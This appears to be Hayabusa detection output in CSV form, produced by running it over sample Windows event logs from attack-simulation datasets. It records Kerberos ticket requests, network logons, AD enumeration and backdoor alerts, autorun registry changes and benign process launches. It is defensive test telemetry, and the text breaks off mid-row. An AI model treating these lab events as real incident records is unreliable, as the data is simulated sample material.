0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.912 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC2$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.939 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.949 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.950 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.951 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:05.016 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC2$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:58.983 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:59.810 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:57:38.917 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59919 : LogonID: 0x64f5bad,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.334 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 59920 : LogonID: 0x64f5bf1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.365 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 59921 : LogonID: 0x64f5c04,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.430 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.430 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.714 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 59993 : LogonID: 0x64f5c7f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.723 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 60017 : LogonID: 0x64f5cb1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.725 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 60018 : LogonID: 0x64f5cc8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.728 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: lambda-user : Workstation: - : IP Address: 10.23.23.9 : Port: 60019 : LogonID: 0x64f5cf4,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:40.825 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:57:52.909 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: ATACORE01$ : Workstation: - : IP Address: 10.23.42.30 : Port: 62476 : LogonID: 0x64f5ef5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:11.977 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59641 : LogonID: 0x64f6471,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:11.981 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: ROOTDC1$ : Workstation: - : IP Address: fe80::1cae:5aa4:9d8d:106a : Port: 51370 : LogonID: 0x64f64a3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:12.004 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59643 : LogonID: 0x64f64ca,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:12.005 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59644 : LogonID: 0x64f64e1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 05:58:12.005 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 59645 : LogonID: 0x64f64f3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4662-4624-Honeypot account property read.evtx +2020-07-10 06:22:31.163 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738,5136-SPN set on user account.evtx" +2020-07-10 06:25:41.773 +09:00,rootdc1.offsec.lan,5136,high,Active Directory User Backdoors,,rules/sigma/builtin/security/win_alert_ad_user_backdoors.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738,5136-SPN set on user account.evtx" +2020-07-10 07:00:14.124 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:14.124 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:14.195 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:14.195 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.584 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\system32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:17.591 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:28.307 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:28.307 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:28.458 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:28.458 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:31.217 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\system32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:31.217 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:31.217 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:31.218 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:31.218 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:42.919 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:42.919 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:43.042 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:43.042 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.589 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:45.590 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:00:48.105 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: c:\windows\system32\notepad.exe : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:01.154 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:01.154 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:01.337 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:01.337 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.898 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.899 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.899 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.900 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.900 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.902 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:03.902 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:01:06.427 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\system32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:02:42.085 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:02:42.085 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:05:58.373 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:07.487 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:14.112 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:14.112 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:14.229 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:14.229 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.184 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.184 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.185 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.185 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.185 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:06:20.185 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:07:33.800 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys 